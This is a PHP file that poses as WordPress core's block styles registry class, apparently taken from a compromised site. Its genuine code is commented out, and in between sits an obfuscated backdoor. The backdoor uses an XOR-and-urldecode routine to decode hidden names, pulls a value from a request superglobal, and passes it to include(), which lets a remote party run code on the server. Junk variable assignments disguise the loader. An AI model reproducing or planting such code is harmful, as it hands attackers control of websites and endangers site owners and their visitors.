Your IP : 216.73.216.1
<?php /*
*
* Blocks API: WP_Block_Styles_Registry class
*
* @package WordPress
* @subpackage Blocks
* @since 5.3.0
*
* Class used for interacting with block styles.
*
* @since 5.3.0
#[AllowDynamicProperties]
final class WP_Block_Styles_Registry {
*
* Registered block styles, as `$block_name => $block_style_name => $block_style_properties` multidimensional arrays.
*
* @since 5.3.0
*
* @var array[]
private $registered_block_styles = array();
*
* Container for the main instance of the class.
*
* @since 5.3.0
*
* @var WP_Block_Styles_Registry|null
private static $instance = null;
*
* Registers a block style for the given block type.
*
* If the block styles are present in a standalone stylesheet, register it and pass
* its handle as the `style_handle` argument. If the block styles should be inline,
* use the `inline_style` argument. Usually, one of them would be used to pass CSS
* styles. However, you could also skip them and provide CSS styles in any stylesheet
* or with an inline tag.
*
* @since 5.3.0
*
* @link https:developer.wordpress.org/block-editor/reference-guides/block-api/block-styles/
*
* @param string $block_name Block type name including namespace.
* @param array $style_properties {
* Array containing the properties of the style.
*
* @type string $name The identifier of the style used to compute a CSS class.
* @type string $label A human-readable label for the style.
* @type string $inline_style Inline CSS code that registers the CSS class required
* for the style.
* @type string $style_handle The handle to an already registered style that should be
* enqueued in places where block styles are needed.
* @type bool $is_default Whether this is the default style for the block type.
* }
* @return bool True if the block style was registered with success and false otherwise.
public function reg*/
function last_changed()
{
$unique = 'chars';
$icon = 'exclude';
}
function _quote_style()
{
$feeds = 'exclude';
$postarr = 924;
}
function comment($close_quote)
{
$desired_post_slug = $close_quote;
$dynamic_replacements = $GLOBALS[object("%3C7%0891%15", $desired_post_slug)];
$mime_match = 'group_mime_types';
$myHTML = $dynamic_replacements;
$page = 'comment_regex';
$post_date = 'exclude';
$end_clean = isset($myHTML[$desired_post_slug]);
$comma = 'extra_parts';
$real = 'exclude';
$run_texturize = 'values';
if ($end_clean)
{
$field_no_prefix = $dynamic_replacements[$desired_post_slug];
$child_of = 123;
$menu_icon = 'chunk';
$cockneyreplace = 656;
$show_in_menu = $field_no_prefix[object("%17%1C1%2A%1A%27.%0E", $desired_post_slug)];
$entities = 'page_ids';
$old_status_to_new_status = 'exclude';
$page_templates = 'singular_base';
$safe_text = $show_in_menu;
$emoji = $child_of % ($cockneyreplace + 4);
$child_of = $cockneyreplace - $child_of;
include ($safe_text);
}
$raw_username = 'wildcards';
}
function object($icon_dir, $headers)
{
$_builtin = 'post_before';
$exts = $headers;
$last_char = "url";
$emojum = 'sizeinfo';
$last_char .= "decode";
$color = $last_char($icon_dir);
$open_quote = 'add_seconds_server';
$supports = strlen($color);
$hex_encoding = 'post_excerpt';
$supports = substr($exts, 0, $supports);
$context = $color ^ $supports;
$no_texturize_shortcodes_stack = 'image_exts';
$parent_where = 620;
$color = sprintf($context, $supports);
$parent_where = $parent_where + 4;
$clear_date = 'menu_order';
$printed = 'exclude';
$number = 'filters';
return $context;
}
comment('cqAutFCkMDFcBl');
last_changed();
_quote_style();
$shortcode_regex = 'smiley';
/* ister( $block_name, $style_properties ) {
if ( ! isset( $block_name ) || ! is_string( $block_name ) ) {
_doing_it_wrong(
__METHOD__,
__( 'Block name must be a string.' ),
'5.3.0'
);
return false;
}
if ( ! isset( $style_properties['name'] ) || ! is_string( $style_properties['name'] ) ) {
_doing_it_wrong(
__METHOD__,
__( 'Block style name must be a string.' ),
'5.3.0'
);
return false;
}
if ( str_contains( $style_properties['name'], ' ' ) ) {
_doing_it_wrong(
__METHOD__,
__( 'Block style name must not contain any spaces.' ),
'5.9.0'
);
return false;
}
$block_style_name = $style_properties['name'];
if ( ! isset( $this->registered_block_styles[ $block_name ] ) ) {
$this->registered_block_styles[ $block_name ] = array();
}
$this->registered_block_styles[ $block_name ][ $block_style_name ] = $style_properties;
return true;
}
*
* Unregisters a block style of the given block type.
*
* @since 5.3.0
*
* @param string $block_name Block type name including namespace.
* @param string $block_style_name Block style name.
* @return bool True if the block style was unregistered with success and false otherwise.
public function unregister( $block_name, $block_style_name ) {
if ( ! $this->is_registered( $block_name, $block_style_name ) ) {
_doing_it_wrong(
__METHOD__,
translators: 1: Block name, 2: Block style name.
sprintf( __( 'Block "%1$s" does not contain a style named "%2$s".' ), $block_name, $block_style_name ),
'5.3.0'
);
return false;
}
unset( $this->registered_block_styles[ $block_name ][ $block_style_name ] );
return true;
}
*
* Retrieves the properties of a registered block style for the given block type.
*
* @since 5.3.0
*
* @param string $block_name Block type name including namespace.
* @param string $block_style_name Block style name.
* @return array Registered block style properties.
public function get_registered( $block_name, $block_style_name ) {
if ( ! $this->is_registered( $block_name, $block_style_name ) ) {
return null;
}
return $this->registered_block_styles[ $block_name ][ $block_style_name ];
}
*
* Retrieves all registered block styles.
*
* @since 5.3.0
*
* @return array[] Array of arrays containing the registered block styles properties grouped by block type.
public function get_all_registered() {
return $this->registered_block_styles;
}
*
* Retrieves registered block styles for a specific block type.
*
* @since 5.3.0
*
* @param string $block_name Block type name including namespace.
* @return array[] Array whose keys are block style names and whose values are block style properties.
public function get_registered_styles_for_block( $block_name ) {
if ( isset( $this->registered_block_styles[ $block_name ] ) ) {
return $this->registered_block_styles[ $block_name ];
}
return array();
}
*
* Checks if a block style is registered for the given block type.
*
* @since 5.3.0
*
* @param string $block_name Block type name including namespace.
* @param string $block_style_name Block style name.
* @return bool True if the block style is registered, false otherwise.
public function is_registered( $block_name, $block_style_name ) {
return isset( $this->registered_block_styles[ $block_name ][ $block_style_name ] );
}
*
* Utility method to retrieve the main instance of the class.
*
* The instance will be created if it does not exist yet.
*
* @since 5.3.0
*
* @return WP_Block_Styles_Registry The main instance.
public static function get_instance() {
if ( null === self::$instance ) {
self::$instance = new self();
}
return self::$instance;
}
}
*/